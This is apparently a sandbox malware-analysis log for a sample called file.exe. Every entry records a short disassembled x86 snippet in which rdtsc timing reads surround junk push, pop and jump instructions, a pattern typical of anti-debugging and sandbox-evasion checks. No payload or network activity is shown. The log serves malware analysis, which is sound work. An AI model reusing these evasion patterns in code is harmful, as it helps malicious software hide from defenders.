Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EEE1C second address: 7EEE2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jns 00007F27CD375EECh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EEE2E second address: 7EEE61 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F27CCB240EDh 0x00000008 jmp 00007F27CCB240E7h 0x0000000d push esi 0x0000000e jmp 00007F27CCB240E1h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EEFD6 second address: 7EEFE5 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F27CD375EE8h 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A2D6E second address: 7A2D72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A2D72 second address: 7A2D76 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A2D76 second address: 7A2DDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 ja 00007F27CCB240E0h 0x0000000e nop 0x0000000f mov dword ptr [ebp+122D1E31h], ecx 0x00000015 mov ecx, dword ptr [ebp+122D2A1Ch] 0x0000001b mov ebx, dword ptr [ebp+12486E56h] 0x00000021 mov dx, di 0x00000024 add eax, ebx 0x00000026 mov dx, ax 0x00000029 jp 00007F27CCB240EDh 0x0000002f push eax 0x00000030 push eax 0x00000031 push edx 0x00000032 jmp 00007F27CCB240E4h 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F0027 second address: 7F002E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F002E second address: 7F0038 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F27CCB240D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F2BFF second address: 7F2C03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F2C03 second address: 7F2C07 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F2C07 second address: 7F2C0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F8947 second address: 7F8951 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F27CCB240D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F8AF6 second address: 7F8B19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 ja 00007F27CD375EE8h 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F27CD375EF2h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F8B19 second address: 7F8B27 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F27CCB240DAh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F8DF0 second address: 7F8DF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F8DF6 second address: 7F8E25 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F27CCB240E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jg 00007F27CCB240E2h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F8E25 second address: 7F8E49 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F27CD375EECh 0x00000008 jg 00007F27CD375EE6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 pushad 0x00000012 jmp 00007F27CD375EEAh 0x00000017 jl 00007F27CD375EE6h 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F8E49 second address: 7F8E5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jne 00007F27CCB240D6h 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f push esi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F8FFF second address: 7F9004 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8010FF second address: 801125 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F27CCB240ECh 0x00000008 jmp 00007F27CCB240E4h 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 801125 second address: 80112B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80112B second address: 80112F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80112F second address: 801141 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 je 00007F27CD375EECh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8015BB second address: 8015BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80242A second address: 80244D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 popad 0x00000009 push ecx 0x0000000a pushad 0x0000000b jmp 00007F27CD375EF0h 0x00000010 jp 00007F27CD375EE6h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80244D second address: 802463 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jns 00007F27CCB240D6h 0x0000000c pushad 0x0000000d popad 0x0000000e jl 00007F27CCB240D6h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80298B second address: 802993 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 802993 second address: 80299C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 806E65 second address: 806EA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push esi 0x00000007 pop esi 0x00000008 je 00007F27CD375EE6h 0x0000000e popad 0x0000000f pop esi 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 jmp 00007F27CD375EEFh 0x00000018 pushad 0x00000019 popad 0x0000001a jmp 00007F27CD375EF8h 0x0000001f push esi 0x00000020 pop esi 0x00000021 popad 0x00000022 pushad 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 806EA7 second address: 806EC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F27CCB240D6h 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007F27CCB240DDh 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 806EC1 second address: 806ED1 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F27CD375EF2h 0x00000008 jnp 00007F27CD375EE6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8063D1 second address: 8063F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 jg 00007F27CCB240D6h 0x0000000c jo 00007F27CCB240D6h 0x00000012 pop edx 0x00000013 pop esi 0x00000014 pushad 0x00000015 jo 00007F27CCB240D8h 0x0000001b pushad 0x0000001c popad 0x0000001d pushad 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 806737 second address: 806741 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8069D5 second address: 8069EB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 jbe 00007F27CCB240D6h 0x0000000b push eax 0x0000000c pop eax 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8069EB second address: 806A2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F27CD375EF5h 0x00000009 jmp 00007F27CD375EF4h 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F27CD375EF3h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 806A2E second address: 806A38 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 808595 second address: 8085BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jmp 00007F27CD375EF3h 0x0000000a push edx 0x0000000b jmp 00007F27CD375EECh 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80D06F second address: 80D075 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80D075 second address: 80D083 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jg 00007F27CD375EE6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80D083 second address: 80D089 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80D089 second address: 80D097 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jbe 00007F27CD375EEEh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8173ED second address: 81742A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 ja 00007F27CCB240D6h 0x0000000c push esi 0x0000000d pop esi 0x0000000e popad 0x0000000f jmp 00007F27CCB240E4h 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F27CCB240E7h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81742A second address: 81743A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F27CD375EE6h 0x0000000a jnc 00007F27CD375EE6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8154FE second address: 815518 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jl 00007F27CCB240E9h 0x0000000b jmp 00007F27CCB240DDh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 815E05 second address: 815E30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F27CD375EE6h 0x0000000a popad 0x0000000b jnp 00007F27CD375EEAh 0x00000011 push eax 0x00000012 pop eax 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 push esi 0x00000019 pop esi 0x0000001a jmp 00007F27CD375EEFh 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 815E30 second address: 815E35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8160D6 second address: 8160EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F27CD375EEFh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8160EB second address: 8160EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8160EF second address: 8160F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8160F3 second address: 816117 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F27CCB240E9h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ecx 0x0000000c push edi 0x0000000d pop edi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 816292 second address: 816299 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 816299 second address: 8162D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007F27CCB240E2h 0x00000010 ja 00007F27CCB240D6h 0x00000016 popad 0x00000017 pushad 0x00000018 jnl 00007F27CCB240D6h 0x0000001e jmp 00007F27CCB240DEh 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81640A second address: 81640E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81640E second address: 816412 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 816412 second address: 816418 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 816418 second address: 81641E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81641E second address: 816452 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F27CD375EF4h 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007F27CD375EF9h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 817265 second address: 817286 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F27CCB240E4h 0x00000007 jo 00007F27CCB240D6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8150E9 second address: 8150ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81DACA second address: 81DAD7 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F27CCB240D8h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81DAD7 second address: 81DAE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81DAE6 second address: 81DAEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81DAEA second address: 81DAF0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81DAF0 second address: 81DAF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8249DB second address: 8249FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F27CD375EF8h 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8249FA second address: 824A1B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F27CCB240E8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 824A1B second address: 824A21 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 824A21 second address: 824A41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F27CCB240E2h 0x0000000b jo 00007F27CCB240DCh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 824A41 second address: 824A49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 824A49 second address: 824A4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82B1EE second address: 82B1F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82B1F2 second address: 82B1F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82B1F8 second address: 82B1FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82B1FE second address: 82B20E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F27CCB240DAh 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82B20E second address: 82B212 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82CDD2 second address: 82CDD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82CDD6 second address: 82CDFD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F27CD375EF9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a jns 00007F27CD375EE6h 0x00000010 pushad 0x00000011 popad 0x00000012 pop edi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82CDFD second address: 82CE09 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F27CCB240D6h 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82CE09 second address: 82CE0D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82CE0D second address: 82CE13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8322B9 second address: 8322CA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F27CD375EEBh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8322CA second address: 8322D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8322D0 second address: 8322D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8322D6 second address: 8322DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 832436 second address: 83243C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83243C second address: 832446 instructions: 0x00000000 rdtsc 0x00000002 js 00007F27CCB240D6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 832446 second address: 832454 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007F27CD375EEEh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83E5DE second address: 83E5E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83E5E4 second address: 83E5FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F27CD375EE8h 0x0000000a pushad 0x0000000b popad 0x0000000c pop eax 0x0000000d jng 00007F27CD375EF0h 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8498DC second address: 8498E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jl 00007F27CCB240D6h 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 848341 second address: 84834E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jno 00007F27CD375EE6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84834E second address: 848352 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 848721 second address: 848727 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84888C second address: 848892 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 848892 second address: 8488A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 jmp 00007F27CD375EEEh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8488A9 second address: 8488B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F27CCB240D6h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8488B5 second address: 8488E5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F27CD375EF5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F27CD375EF1h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 push esi 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
